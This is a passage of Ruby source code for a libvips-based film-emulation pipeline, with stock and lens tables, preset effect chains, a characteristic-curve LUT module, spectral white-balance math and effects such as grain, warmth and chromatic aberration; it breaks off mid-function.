# Lens character: data-driven table drives vintage_lens().
# vignette/glow/micro_contrast/chroma are intensity multipliers [0,1].
LENSES = {
zeiss: { micro_contrast: 0.40, flare: 0.08 },
leica: { micro_contrast: 0.45, glow: 0.25 },
helios: { micro_contrast: 0.30, chroma: 0.05 },
cooke: { micro_contrast: 0.20, warmth: 0.10 },
anamorphic: { micro_contrast: 0.25, chroma: 0.08, flare: 0.50 },
}.freeze
# Per-stock R/G/B channel amplitude ratios for grain — mirrors the three
# dye-layer sensitivities. Red layer is reference (1.00), green and blue
# attenuated to match the stock's measured dye-cloud statistics.
GRAIN_CHAN_SCALE = {
kodak_portra: [1.00, 0.85, 0.70],
kodak_vision3: [1.00, 0.90, 0.80],
kodak_vision3_50d: [1.00, 0.88, 0.75],
kodak_vision3_500t: [1.00, 0.88, 0.72],
cinestill_800t: [1.05, 0.88, 0.75],
ektachrome_100: [0.95, 0.95, 1.05],
fuji_velvia: [1.00, 1.10, 0.90],
tri_x: [1.00, 1.00, 1.00],
kodachrome: [1.00, 0.92, 0.82],
}.freeze
# Per-channel spatial frequency ratios for grain — red layer (σ×1.00) is coarsest,
# blue (σ×0.72) finest, matching measured dye-cloud PSF widths per layer depth.
GRAIN_CHANNEL_SPATIAL = [1.00, 0.85, 0.72].freeze
# Lognormal grain amplitude distribution. Silver halide crystals cluster in groups;
# the cluster field drives amplitude modulation on top of the base Perlin layer.
GRAIN_LOGNORM_SIGMA = 0.55
GRAIN_LOGNORM_MEAN = Math.exp(GRAIN_LOGNORM_SIGMA**2 / 2.0)
# Print film stocks: H&D per channel, warmth triplet, grain amplitude.
# Applied as a final projection stage emulating contact or optical printing.
PRINT_STOCKS = {
kodak_2383: {
hd: { r: [0.03, 0.98, 0.18, 1.38], g: [0.02, 0.97, 0.18, 1.34], b: [0.04, 0.96, 0.18, 1.28] },
grain: 3, warmth: 0.055, cool_shadow: 0.042
},
kodak_2302: {
hd: { r: [0.05, 0.95, 0.18, 1.50], g: [0.05, 0.95, 0.18, 1.50], b: [0.05, 0.95, 0.18, 1.50] },
grain: 5
},
}.freeze
# Per-stock reciprocity failure color shifts. Blue layer lags most under long
# exposures; green-magenta crossover happens first. Offsets in scRGB units per
# decade of EV (ev = log2(secs) / 10).
RECIPROCITY_SHIFT = {
cinestill_800t: { r: 0.02, g: -0.04, b: 0.14 },
kodak_vision3_500t: { r: 0.01, g: -0.03, b: 0.11 },
kodak_vision3: { r: 0.01, g: -0.03, b: 0.10 },
tri_x: { r: 0.02, g: -0.05, b: 0.16 },
kodak_portra: { r: 0.01, g: -0.02, b: 0.09 },
}.freeze
# Per-stock push response ratios. Blue dye layer develops faster under push;
# green is the reference (1.00). Ratios are per-stop multipliers relative to
# the nominal exposure-doubling factor.
PUSH_RESPONSE = {
kodak_vision3_500t: { g: 1.00, b: 0.92 },
kodak_vision3: { g: 1.00, b: 0.93 },
cinestill_800t: { g: 0.97, b: 0.89 },
kodak_portra: { g: 1.00, b: 0.94 },
tri_x: { g: 1.00, b: 0.97 },
fuji_velvia: { g: 1.00, b: 0.88 },
ektachrome_100: { g: 0.99, b: 0.91 },
kodachrome: { g: 0.98, b: 0.90 },
}.freeze
# Stocks with integral colored couplers (C-41 process) — get orange mask treatment.
C41_STOCKS = %i[kodak_portra kodak_vision3 kodak_vision3_50d kodak_vision3_500t cinestill_800t].freeze
# Per-stock film base density tints. Each emulsion has a characteristic base fog
# color: C-41 negatives are orange-masked; reversal stocks are nearly neutral;
# B&W silver prints are pure white. Applied at low opacity over the whole frame
# so dark areas pick up the tint more than highlights (density-sensitive).
FILM_BASE = {
kodak_portra: [255, 245, 228],
kodak_vision3: [255, 246, 226],
kodak_vision3_50d: [255, 248, 232],
kodak_vision3_500t: [255, 247, 225],
cinestill_800t: [255, 243, 218],
ektachrome_100: [248, 250, 255],
fuji_velvia: [250, 251, 255],
tri_x: [255, 255, 255],
kodachrome: [255, 246, 222],
}.freeze
# Physics-ordered 6-8 step chains: optical_blur → exposure/temp → film_curve
# → chemistry → optical_effect → print → grain. One contrast mode and one
# color temperature approach per preset — no stacking.
PRESETS = {
portrait: { fx: %w[optical_blur film_curve dir_coupler orange_mask skin_protect shadow_lift highlight_roll grain],
stock: :kodak_portra, temp: 5200, intensity: 0.85 },
indie: { fx: %w[optical_blur film_curve orange_mask shadow_lift split_toning chromatic_aberration grain],
stock: :kodak_portra, temp: 5400, intensity: 0.85, lens: "helios" },
polaroid: { fx: %w[optical_blur film_curve faded_print warmth bloom_pro shadow_lift grain],
stock: :kodak_portra, temp: 5000, intensity: 0.85 },
landscape: { fx: %w[optical_blur spectral_temp film_curve color_separate halation micro_contrast grain],
stock: :fuji_velvia, temp: 5800, intensity: 0.90, lens: "zeiss" },
magic_hour: { fx: %w[optical_blur spectral_temp film_curve halation warmth bloom_pro grain],
stock: :fuji_velvia, temp: 4800, intensity: 0.90 },
reversal: { fx: %w[optical_blur film_curve color_separate halation highlight_roll micro_contrast grain],
stock: :fuji_velvia, temp: 5600, intensity: 0.90 },
process_e6: { fx: %w[optical_blur push_pull film_curve color_separate halation highlight_roll grain],
stock: :ektachrome_100, temp: 5600, intensity: 0.90, stops: 2.0 },
cinematic: { fx: %w[optical_blur spectral_temp tonemap film_curve orange_mask halation shadow_lift print_film grain],
stock: :kodak_vision3_500t, temp: 4500, intensity: 0.90, print_stock: :kodak_2383 },
blockbuster: { fx: %w[optical_blur tonemap bleach_bypass film_curve orange_mask teal_orange halation print_film grain],
stock: :kodak_vision3, temp: 4800, intensity: 0.90, print_stock: :kodak_2383 },
golden_age: { fx: %w[optical_blur film_curve orange_mask technicolor warmth dir_coupler bloom_pro grain],
stock: :kodak_vision3_50d, temp: 5200, intensity: 0.85, lens: "cooke" },
bleached: { fx: %w[optical_blur tonemap bleach_bypass film_curve split_grade highlight_roll grain],
stock: :kodak_vision3, temp: 4800, intensity: 0.90 },
neon_night: { fx: %w[optical_blur push_pull reciprocity_failure film_curve orange_mask halation bloom_pro grain],
stock: :cinestill_800t, temp: 3200, intensity: 0.90,
stops: 0.5, exposure_secs: 30.0 },
tokyo_night: { fx: %w[optical_blur push_pull reciprocity_failure film_curve orange_mask halation teal_orange grain],
stock: :cinestill_800t, temp: 3000, intensity: 0.90,
stops: 1.0, exposure_secs: 45.0 },
tungsten: { fx: %w[optical_blur spectral_temp film_curve orange_mask halation push_pull shadow_lift grain],
stock: :kodak_vision3_500t, temp: 3200, intensity: 0.90,
stops: 0.3, exposure_secs: 8.0 },
street: { fx: %w[optical_blur tonemap bleach_bypass film_curve adjacency_effects shadow_lift micro_contrast grain],
stock: :tri_x, temp: 5600, intensity: 0.90, stops: 1.0 },
war_doc: { fx: %w[optical_blur tonemap push_pull film_curve bleach_bypass green_push grain],
stock: :tri_x, temp: 5600, intensity: 0.90, stops: 2.0 },
silver_gelatin: { fx: %w[optical_blur film_curve push_pull adjacency_effects shadow_lift highlight_roll grain],
stock: :tri_x, temp: 5600, intensity: 0.85, stops: 0.5 },
lith: { fx: %w[optical_blur film_curve push_pull lith_print split_toning grain],
stock: :tri_x, temp: 5600, intensity: 0.90, stops: 1.5 },
noir: { fx: %w[optical_blur tonemap film_curve bleach_bypass desaturate shadow_lift grain],
stock: :tri_x, temp: 5600, intensity: 0.90, stops: 2.0 },
dream: { fx: %w[optical_blur film_curve halation bloom_pro desaturate split_toning grain],
stock: :ektachrome_100, temp: 5800, intensity: 0.85, lens: "leica" },
dreamscape: { fx: %w[optical_blur film_curve halation bloom_pro split_toning grain],
stock: :ektachrome_100, temp: 5800, intensity: 0.85 },
lo_fi: { fx: %w[optical_blur film_curve push_pull faded_print warmth chromatic_aberration grain],
stock: :kodak_portra, temp: 4800, intensity: 0.85, lens: "helios" },
horror: { fx: %w[optical_blur tonemap film_curve bleach_bypass green_push desaturate grain],
stock: :tri_x, temp: 5600, intensity: 0.90 },
arctic: { fx: %w[optical_blur tonemap film_curve desaturate bleach_bypass highlight_roll grain],
stock: :tri_x, temp: 6500, intensity: 0.90 },
kodachrome_look: { fx: %w[optical_blur tonemap film_curve kodachrome_sim dir_coupler halation grain],
stock: :kodachrome, temp: 5600, intensity: 0.90 },
technicolor_3strip: { fx: %w[optical_blur spectral_temp film_curve technicolor dir_coupler bloom_pro grain],
stock: :kodachrome, temp: 5500, intensity: 0.90 },
cross_process: { fx: %w[optical_blur push_pull film_curve color_separate teal_orange split_toning grain],
stock: :fuji_velvia, temp: 5500, intensity: 0.90, stops: 0.5 },
vintage_chrome: { fx: %w[optical_blur film_curve dir_coupler spectral_temp color_separate split_toning grain],
stock: :ektachrome_100, temp: 5200, intensity: 0.85 },
infrared_look: { fx: %w[optical_blur push_pull infrared film_curve bleach_bypass highlight_roll grain],
stock: :tri_x, temp: 5600, intensity: 0.90, stops: 0.5 },
cyanotype_look: { fx: %w[optical_blur film_curve desaturate cyanotype shadow_lift grain],
stock: :tri_x, temp: 6000, intensity: 0.85 },
analog_scan: { fx: %w[optical_blur film_curve grain scan_noise dust_and_hair newton_rings],
stock: :kodak_portra, temp: 5200, intensity: 0.80 },
aged_chrome: { fx: %w[optical_blur film_curve dye_fade selenium_tone faded_print grain],
stock: :ektachrome_100, temp: 5600, intensity: 0.85, age: 0.60 },
anamorphic: { fx: %w[optical_blur longitudinal_ca spectral_temp tonemap film_curve anamorphic_flare halation grain],
stock: :kodak_vision3_500t, temp: 4200, intensity: 0.90 },
contact_print: { fx: %w[optical_blur adjacency_effects film_curve darkroom_print shadow_lift grain],
stock: :tri_x, temp: 5600, intensity: 0.85 },
aged_kodachrome: { fx: %w[optical_blur film_curve dye_fade kodachrome_sim dir_coupler grain],
stock: :kodachrome, temp: 5600, intensity: 0.88, age: 0.50 },
wide_angle: { fx: %w[optical_blur lens_distortion spectral_temp film_curve halation grain],
stock: :fuji_velvia, temp: 5800, intensity: 0.90, k1: -0.14 },
cinema_scan: { fx: %w[optical_blur longitudinal_ca tonemap film_curve orange_mask halation bokeh_rendering print_film grain],
stock: :kodak_vision3, temp: 4600, intensity: 0.90, print_stock: :kodak_2383 },
diffraction: { fx: %w[optical_blur diffraction_blur film_curve micro_contrast grain],
stock: :fuji_velvia, temp: 5600, intensity: 0.85, f_number: 22.0 },
nitrate: { fx: %w[optical_blur film_curve dye_fade faded_print adjacency_effects grain scan_noise],
stock: :kodachrome, temp: 4800, intensity: 0.85, age: 0.80 },
fiber_print: { fx: %w[optical_blur adjacency_effects darkroom_print paper_texture dodgeburn_artifacts grain],
stock: :tri_x, temp: 5600, intensity: 0.85 },
expired: { fx: %w[optical_blur film_curve expired_film gate_weave],
stock: :kodak_portra, temp: 5200, intensity: 0.90, age: 0.65 },
reticulated: { fx: %w[optical_blur film_curve reticulation fixing_bath_fog grain],
stock: :tri_x, temp: 5600, intensity: 0.80 },
ortho: { fx: %w[optical_blur ortho_film film_curve adjacency_effects grain],
stock: :tri_x, temp: 5600, intensity: 0.85 },
tilt_shift_look: { fx: %w[optical_blur film_curve tilt_shift halation grain],
stock: :kodak_portra, temp: 5200, intensity: 0.80 },
haunted: { fx: %w[optical_blur expired_film reticulation fixing_bath_fog lens_ghosting gate_weave grain],
stock: :kodachrome, temp: 4600, intensity: 0.90, age: 0.80 },
quality_uplift: { fx: %w[adaptive_contrast film_shoulder clarity edge_aware_nr selective_sharpen film_curve grain],
stock: :kodak_portra, temp: 5600, intensity: 0.75 },
}.freeze
def halation_tint_for(stock)
case stock
when :kodak_vision3, :kodak_vision3_500t then HALATION_TINT_VISION3
when :cinestill_800t then HALATION_TINT_VISION3
when :kodak_portra, :kodak_vision3_50d then HALATION_TINT_PORTRA
when :tri_x then HALATION_TINT_TRI_X
when :ektachrome_100 then HALATION_TINT_PORTRA
when :kodachrome then HALATION_TINT_PORTRA
else HALATION_TINT_VISION3
end
end
# Per-channel characteristic curve baked into a 256-entry LUT. Each channel
# carries [Dmin, Dmax, pivot, gamma] — pivot is the linear midtone fulcrum
# (≈0.18 for ISO-calibrated film), gamma is contrast, Dmin/Dmax are the
# shadow floor and highlight ceiling in linear output. Operates in
# linearized sRGB so middle gray maps to itself, and per-channel offset
# from neutral creates the colour cast that defines a stock's look.
# One maplut at runtime; CPU spent only on cache miss.
module HD
CACHE = {}
module_function
def srgb_to_linear(v)
v <= 0.04045 ? v / 12.92 : ((v + 0.055) / 1.055)**2.4
end
def linear_to_srgb(v)
v <= 0.0031308 ? v * 12.92 : 1.055 * v**(1.0 / 2.4) - 0.055
end
def develop(linear, params)
d_min, d_max, pivot, gamma = params
if linear < pivot
d_min + (pivot - d_min) * (linear / pivot)**(1.0 / gamma)
else
pivot + (d_max - pivot) * ((linear - pivot) / (1.0 - pivot))**gamma
end
end
def channel_curve(params)
(0..255).map do |i|
out = develop(srgb_to_linear(i / 255.0), params)
(linear_to_srgb(out.clamp(0, 1)) * 255.0).round.clamp(0, 255)
end
end
def build_lut(stock_data)
hd = stock_data[:hd] or return nil
bands = %i[r g b].map { |c| Vips::Image.new_from_array([channel_curve(hd[c])]) }
Vips::Image.bandjoin(bands).cast('uchar')
end
def lut_for(stock_data)
CACHE[stock_data.object_id] ||= build_lut(stock_data)
end
def apply(image, stock_data)
lut = lut_for(stock_data)
lut ? image.maplut(lut) : image
end
end
def safe_cast(image, format = 'uchar')
if format == 'uchar'
f = image.cast('float')
f = (f > 0).ifthenelse(f, 0)
f = (f < 255).ifthenelse(f, 255)
f.cast('uchar')
else
image.cast(format)
end
rescue StandardError => e
$logger.error "Cast failed: #{e.message}"
image
end
def rgb_bands(image, bands = 3)
return image if image.bands == bands
image.bands < bands ? image.bandjoin([image] * (bands - image.bands)) : image.extract_band(0, n: bands)
end
def load_image(file)
return nil unless File.exist?(file) && File.readable?(file)
image = Vips::Image.new_from_file(file, access: :random)
image = image.colourspace("srgb") if image.bands < 3
rgb_bands(image)
rescue StandardError => e
$logger.error "Load failed #{file}: #{e.message}"
nil
end
def get_camera_profile(image)
return nil if CAMERA_PROFILES.empty?
begin
make = image.get("exif-ifd0-Make")&.strip&.downcase
model = image.get("exif-ifd0-Model")&.strip&.downcase
return nil unless make && model
# Try exact model match first
CAMERA_PROFILES.each do |brand, profiles|
return profiles[model] if profiles[model]
end
# Try brand match
CAMERA_PROFILES.each do |brand, profiles|
return profiles.values.first if make.include?(brand) || brand.include?(make)
end
nil
rescue StandardError => e
$logger.debug "EXIF read failed: #{e.message}"
nil
end
end
def apply_camera_profile(image, profile)
return image unless profile && profile["color_matrix"]
begin
matrix = profile["color_matrix"]
return image unless matrix.length == 9
# Apply 3x3 color matrix
result = image.recomb([
[matrix[0], matrix[1], matrix[2]],
[matrix[3], matrix[4], matrix[5]],
[matrix[6], matrix[7], matrix[8]]
])
# Apply optional adjustments
if profile["saturation"]
hsv = result.colourspace("hsv")
h, s, v = hsv.bandsplit
s = s.linear([profile["saturation"]], [0])
result = Vips::Image.bandjoin([h, s, v]).colourspace("srgb")
end
if profile["vibrance"]
# Simple vibrance simulation
result = result.linear([1.0 + profile["vibrance"] * 0.1], [0])
end
if profile["base_tint"]
result = base_tint(result, profile["base_tint"], 0.1)
end
safe_cast(result)
rescue StandardError => e
$logger.error "Camera profile failed: #{e.message}"
image
end
end
# Spectral chromatic adaptation. Black-body physics, not ad-hoc R/G/B
# multipliers. Each pixel's RGB is upsampled to a 31-sample spectrum via a
# Gaussian basis calibrated so that under D65 the round-trip is identity;
# then reweighted by I_target/I_source (Planck's law); then re-integrated
# against CIE 1931 2° CMFs and projected to sRGB. All steps are linear, so
# they collapse to a single 3×3 matrix at runtime — applied via recomb in
# linear scrgb space.
module Spectral
WAVELENGTHS = (400..700).step(10).to_a.freeze
DELTA = 10.0
CMF_X = [0.0143, 0.0435, 0.1344, 0.2839, 0.3483, 0.3362, 0.2908, 0.1954,
0.0956, 0.0320, 0.0049, 0.0093, 0.0633, 0.1655, 0.2904, 0.4334,
0.5945, 0.7621, 0.9163, 1.0263, 1.0622, 1.0026, 0.8544, 0.6424,
0.4479, 0.2835, 0.1649, 0.0874, 0.0468, 0.0227, 0.0114].freeze
CMF_Y = [0.0004, 0.0012, 0.0040, 0.0116, 0.0230, 0.0380, 0.0600, 0.0910,
0.1390, 0.2080, 0.3230, 0.5030, 0.7100, 0.8620, 0.9540, 0.9950,
0.9950, 0.9520, 0.8700, 0.7570, 0.6310, 0.5030, 0.3810, 0.2650,
0.1750, 0.1070, 0.0610, 0.0320, 0.0170, 0.0082, 0.0041].freeze
CMF_Z = [0.0679, 0.2074, 0.6456, 1.3856, 1.7471, 1.7721, 1.6692, 1.2876,
0.8130, 0.4652, 0.2720, 0.1582, 0.0782, 0.0422, 0.0203, 0.0087,
0.0039, 0.0021, 0.0017, 0.0011, 0.0008, 0.0003, 0.0002, 0.0000,
0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000].freeze
XYZ_TO_SRGB = [[ 3.2406, -1.5372, -0.4986],
[-0.9689, 1.8758, 0.0415],
[ 0.0557, -0.2040, 1.0570]].freeze
PLANCK_C1 = 2 * 6.62607015e-34 * (2.99792458e8)**2
PLANCK_C2 = 6.62607015e-34 * 2.99792458e8 / 1.380649e-23
D65_KELVIN = 6504.0
PRIMARY_CENTERS = [611.0, 549.0, 464.0].freeze
PRIMARY_SIGMA = 30.0
CACHE = {}
module_function
def planckian(kelvin)
WAVELENGTHS.map do |nm|
l = nm * 1e-9
PLANCK_C1 / (l**5 * (Math.exp(PLANCK_C2 / (l * kelvin)) - 1))
end
end
def normalize_to_y1(spd)
y = spd.zip(CMF_Y).sum { |s, c| s * c } * DELTA
spd.map { |v| v / y }
end
def gaussian_basis
PRIMARY_CENTERS.map do |c|
WAVELENGTHS.map { |λ| Math.exp(-(λ - c)**2 / (2 * PRIMARY_SIGMA**2)) }
end
end
def spd_to_xyz(spd, illuminant)
weighted = spd.each_with_index.map { |s, i| s * illuminant[i] }
[CMF_X, CMF_Y, CMF_Z].map { |cmf| weighted.zip(cmf).sum { |w, c| w * c } * DELTA }
end
def matvec3(m, v)
(0..2).map { |i| (0..2).sum { |j| m[i][j] * v[j] } }
end
def inv3(m)
a, b, c = m[0]; d, e, f = m[1]; g, h, i = m[2]
det = a * (e * i - f * h) - b * (d * i - f * g) + c * (d * h - e * g)
raise "singular" if det.abs < 1e-12
inv = 1.0 / det
[[(e * i - f * h) * inv, (c * h - b * i) * inv, (b * f - c * e) * inv],
[(f * g - d * i) * inv, (a * i - c * g) * inv, (c * d - a * f) * inv],
[(d * h - e * g) * inv, (b * g - a * h) * inv, (a * e - b * d) * inv]]
end
def calibrated_basis
CACHE[:basis] ||= begin
raw = gaussian_basis
d65 = normalize_to_y1(planckian(D65_KELVIN))
cols = raw.map { |b| matvec3(XYZ_TO_SRGB, spd_to_xyz(b, d65)) }
m = [[cols[0][0], cols[1][0], cols[2][0]],
[cols[0][1], cols[1][1], cols[2][1]],
[cols[0][2], cols[1][2], cols[2][2]]]
m_inv = inv3(m)
(0..2).map do |j|
WAVELENGTHS.each_index.map do |λi|
(0..2).sum { |k| m_inv[j][k] * raw[k][λi] }
end
end
end
end
def integration_matrix(illuminant)
basis = calibrated_basis
(0..2).map do |i|
(0..2).map do |j|
WAVELENGTHS.each_index.sum do |λi|
xyz_dot = XYZ_TO_SRGB[i][0] * CMF_X[λi] +
XYZ_TO_SRGB[i][1] * CMF_Y[λi] +
XYZ_TO_SRGB[i][2] * CMF_Z[λi]
basis[j][λi] * illuminant[λi] * xyz_dot * DELTA
end
end
end
end
def matmul3(a, b)
(0..2).map { |i| (0..2).map { |j| (0..2).sum { |k| a[i][k] * b[k][j] } } }
end
def adaptation_matrix(source_kelvin, target_kelvin)
src = normalize_to_y1(planckian(source_kelvin))
tgt = normalize_to_y1(planckian(target_kelvin))
matmul3(integration_matrix(tgt), inv3(integration_matrix(src)))
end
end
def spectral_temp(image, source_kelvin: 5500, target_kelvin: 6504, intensity: 1.0)
matrix = Spectral.adaptation_matrix(source_kelvin, target_kelvin)
linear = image.colourspace("scrgb")
graded = linear.recomb(matrix)
blended = linear * (1.0 - intensity) + graded * intensity
safe_cast(blended.colourspace("srgb"))
end
def color_temp(image, kelvin, intensity = 1.0)
factor = kelvin / 5500.0
r_mult, g_mult, b_mult = if factor < 1.0
[1.0, factor**0.5, factor**2]
else
[factor**-0.3, 1.0, 1.0 + (factor - 1.0) * 0.5]
end
safe_cast(image.linear([
1.0 + (r_mult - 1.0) * intensity,
1.0 + (g_mult - 1.0) * intensity,
1.0 + (b_mult - 1.0) * intensity
], [0, 0, 0]))
end
def skin_protect(image, intensity = 1.0)
hsv = image.colourspace('hsv')
h, s, v = hsv.bandsplit
hue_mask = (h > 25.5) & (h < 63.75)
sat_mask = (s > 51) & (s < 153)
skin_mask = hue_mask & sat_mask
protection = skin_mask.cast('float') / 255.0 * (1.0 - intensity * 0.7)
protection_rgb = protection.bandjoin([protection, protection])
inv_protection = protection_rgb.linear(-1, 1)
safe_cast(image * inv_protection + image * protection_rgb)
end
def film_curve(image, stock = :kodak_portra, intensity = 1.0)
data = STOCKS[stock] || STOCKS[:kodak_portra]
developed = HD.apply(image, data)
safe_cast(image * (1 - intensity) + developed * intensity)
end
def highlight_roll(image, threshold = 200, intensity = 1.0)
mask = image > threshold
over_exposed = image - threshold
rolled_off = ((over_exposed * 0.3) ** 0.7) + threshold
result = mask.ifthenelse(rolled_off, image)
safe_cast(image * (1 - intensity) + result * intensity)
end
def shadow_lift(image, lift = 0.15, preserve_blacks = true)
gray = image.colourspace('b-w').cast('float') / 255.0
inv_gray = gray.linear(-1, 1)
shadow_mask = preserve_blacks ? (inv_gray ** 2.0) * 0.8 : inv_gray * lift
lift_rgb = shadow_mask.bandjoin([shadow_mask, shadow_mask])
safe_cast(image + lift_rgb * 255 * lift)
end
def micro_contrast(image, radius = 5, intensity = 0.3)
blurred = image.gaussblur(radius)
high_pass = image - blurred
safe_cast(image + high_pass * intensity)
end
def color_separate(image, intensity = 0.6)
r, g, b = image.bandsplit
r_diff = r - (g * 0.08 * intensity) - (b * 0.05 * intensity)
g_diff = g - (r * 0.06 * intensity) - (b * 0.10 * intensity)
b_diff = b - (r * 0.04 * intensity) - (g * 0.07 * intensity)
r_clean = (r_diff > 0).ifthenelse(r_diff, 0)
g_clean = (g_diff > 0).ifthenelse(g_diff, 0)
b_clean = (b_diff > 0).ifthenelse(b_diff, 0)
separated = Vips::Image.bandjoin([r_clean, g_clean, b_clean])
safe_cast(image * (1 - intensity) + separated * intensity)
end
GRAIN_CELL_BASE = 4.0 # base Perlin cell size in px — larger = coarser grain
GRAIN_AMP_SCALE = 400.0 # amplitude denominator, tuned for scRGB [0,1] space
# 3-tap horizontal convolution kernel for grain anisotropy (film transport direction).
# Film grain is slightly elongated along the direction of film travel — this
# kernel applies a subtle horizontal elongation without visible smearing.
GRAIN_ANISO_KERNEL = Vips::Image.new_from_array([[0.18, 0.64, 0.18]]).freeze
# Perlin + fractsurf grain with horizontal anisotropy and shadow-weighted envelope.
# Perlin (70%) gives crystalline cluster structure; fractsurf (30%) adds multi-scale
# fBm detail. The midtone envelope 4L^0.8(1-L) peaks slightly toward the shadow
# side of mid-gray, matching real halide clump statistics. A mild horizontal
# directional kernel elongates grain clusters along the film-transport axis.
def grain(image, iso = 400, stock = :kodak_portra, intensity = 0.4)
data = STOCKS[stock] || STOCKS[:kodak_portra]
scales = GRAIN_CHAN_SCALE[stock] || [1.0, 1.0, 1.0]
sublayers = data[:sublayers] || [{ sensitivity_shift: 0.0, grain_scale: 1.0, weight: 1.0 }]
iso_factor = Math.sqrt(iso / 100.0)
base_amplitude = data[:grain] * iso_factor * intensity / GRAIN_AMP_SCALE
linear = image.colourspace("scrgb")
r, g, b = linear.bandsplit
luma = r * 0.2126 + g * 0.7152 + b * 0.0722
# Shadow-biased envelope: luma^0.8 shifts peak toward shadows vs symmetric 4L(1-L)
envelope = (luma.linear([1], [0]).pow(0.80) * luma.linear([-1], [1])).linear([4], [0])
# Lognormal cluster field: silver halide crystals cluster in groups whose
# amplitude follows a lognormal distribution. exp(gaussian_noise) produces
# the characteristic long-tail clumping seen in real emulsion grain scans.
cluster_sigma = [GRAIN_CELL_BASE * 2.5, 1.0].max
cluster_field = Vips::Image.gaussnoise(image.width, image.height, sigma: GRAIN_LOGNORM_SIGMA, mean: 0.0)
.gaussblur(cluster_sigma).exp
.linear([1.0 / GRAIN_LOGNORM_MEAN], [0])
bands = scales.each_with_index.map do |chan_scale, ci|
sp = [GRAIN_CELL_BASE * GRAIN_CHANNEL_SPATIAL[ci] * 0.7, 0.3].max
sublayers.map do |sl|
cell = [GRAIN_CELL_BASE * (2.0**sl[:sensitivity_shift]) * sl[:grain_scale], 1.5].max.round
amplitude = base_amplitude * chan_scale * sl[:grain_scale] * sl[:weight]
perlin = Vips::Image.perlin(image.width, image.height, cell_size: cell)
fractal = Vips::Image.fractsurf(image.width, image.height, 2.5)
raw = (perlin * 0.70 + fractal * 0.30)
# Anisotropy: slight horizontal elongation along film-transport axis
aniso = raw.conv(GRAIN_ANISO_KERNEL, precision: :float)
clustered = (raw * 0.55 + aniso * 0.45) * cluster_field
clustered.gaussblur(sp).linear([amplitude], [0.0])
end.reduce(:+)
end
noise = Vips::Image.bandjoin(bands)
safe_cast((linear + noise * envelope).colourspace("srgb"))
rescue StandardError => e
$logger.error "grain failed: #{e.message}"; image
end
def base_tint(image, color = [252, 248, 240], intensity = 0.08)
overlay = Vips::Image.black(image.width, image.height, bands: 3) + color
overlay_norm = overlay.cast('float') / 255.0
image_norm = image.cast('float') / 255.0
inv_image = image_norm.linear(-1, 1)
inv_overlay = overlay_norm.linear(-1, 1)
multiply = image_norm * overlay_norm * 2
screen = (inv_image * inv_overlay).linear(-2, 1)
result = (overlay_norm < 0.5).ifthenelse(multiply, screen)
blended = result * 255
safe_cast(image * (1 - intensity) + blended * intensity)
end
def vintage_lens(image, type = "zeiss", intensity = 0.7)
spec = LENSES[type.to_sym] || LENSES[:zeiss]
result = image
result = micro_contrast(result, 4, spec[:micro_contrast] * intensity) if spec[:micro_contrast]
if spec[:glow]
glow = image.gaussblur(20) * (spec[:glow] * intensity)
result = safe_cast(result + glow)
end
if spec[:chroma]
shift = [(spec[:chroma] * intensity * 6).round, 1].max
r, g, b = result.bandsplit
r = r.embed(shift, 0, result.width, result.height)
b = b.embed(-shift, 0, result.width, result.height)
result = safe_cast(Vips::Image.bandjoin([r, g, b]))
end
result = warmth(result, spec[:warmth] * intensity) if spec[:warmth]
result
rescue StandardError => e
$logger.error "vintage_lens failed: #{e.message}"
image
end
def desaturate(image, amount = 0.5)
gray = image.colourspace("grey16").colourspace("srgb")
safe_cast(image * (1.0 - amount) + gray * amount)
rescue StandardError => e
$logger.error "desaturate failed: #{e.message}"
image
end
# Gentle warm color push: R+, G mild+, B-. Stays subtle — use amount ≤ 0.3.
def warmth(image, amount = 0.2)
image.linear(
[1.0 + 0.30 * amount, 1.0 + 0.08 * amount, 1.0 - 0.18 * amount],
[0, 0, 0]
).then { |r| safe_cast(r) }
rescue StandardError => e
$logger.error "warmth failed: #{e.message}"
image
end
# Desaturated green push for horror / cold clinical grades.
def green_push(image, amount = 0.15)
image.linear(
[1.0 - amount * 0.50, 1.0 + amount, 1.0 - amount * 0.30],
[0, 0, 0]
).then { |r| safe_cast(r) }
rescue StandardError => e
$logger.error "green_push failed: #{e.message}"
image
end
# OLPF (optical low-pass filter) simulation. Two-gaussian PSF: sharp core (84%)
# + wide skirt (16%) matches the Lorentzian wings measured on real lens MTFs.
def optical_blur(image, sigma = 0.6)
core = image.gaussblur([sigma * 0.6, 0.3].max)
skirt = image.gaussblur([sigma * 2.8, 0.5].max)
safe_cast(core.cast("float") * 0.84 + skirt.cast("float") * 0.16)
rescue StandardError => e
$logger.error "optical_blur: #{e.message}"; image
end
# Emulsion depth defocus: each dye layer sits at a different depth in the
# multilayer emulsion stack. Blue layer (top, nearest lens) is sharpest;
# red (deepest) sees the most focus spread from incident + substrate-reflected
# light. focal_plane_offset is stock-specific — cinestill_800t (remjet removed)
# has the most scatter; slow daylight stocks have little.
def emulsion_defocus(image, stock = :kodak_portra)
data = STOCKS[stock] || STOCKS[:kodak_portra]
offset = data.fetch(:focal_plane_offset, 1.0)
r, g, b = image.bandsplit
r2 = offset > 0 ? safe_cast(r.gaussblur(0.6 * offset)) : r
g2 = offset > 0 ? safe_cast(g.gaussblur(0.3 * offset)) : g
safe_cast(Vips::Image.bandjoin([r2, g2, b]))
rescue StandardError => e
$logger.error "emulsion_defocus: #{e.message}"; image
end
# Lateral + longitudinal chromatic aberration. Lateral: R/B registration shift
# at sensor edges. Longitudinal: wavelength-dependent focus depth — blue blurs
# before the focal plane, red sharpest (as in `longitudinal_ca`).
def chromatic_aberration(image, strength = 0.5)
shift = [(strength * 3.0).round, 1].max
r, g, b = image.bandsplit
r2 = r.embed(shift, 0, image.width, image.height)
b2 = b.embed(-shift, 0, image.width, image.height)
long_sigma = [strength * 0.9, 0.3].max
r3 = r2.gaussblur([long_sigma * 0.35, 0.3].max)
b3 = b2.gaussblur([long_sigma, 0.3].max)
safe_cast(Vips::Image.bandjoin([r3, g, b3]))
rescue StandardError => e
$logger.error "chromatic_aberration: #{e.message}"; image
end
# DIR coupler inhibition: development byproducts from one dye layer inhibit
# adjacent layers, slightly desaturating pure hues and sharpening edges.
def dir_coupler(image, strength = 0.15)
blurred = image.gaussblur(2.0)
high_pass = image.cast("float") - blurred.cast("float")
gray = image.colourspace("grey16").colourspace("srgb").cast("float")
img_f = image.cast("float") / 255.0
# Lateral inhibition: each dye layer's development byproducts diffuse σ≈0.8px
# and suppress adjacent layers — desaturates pure hues, sharpens colour edges.
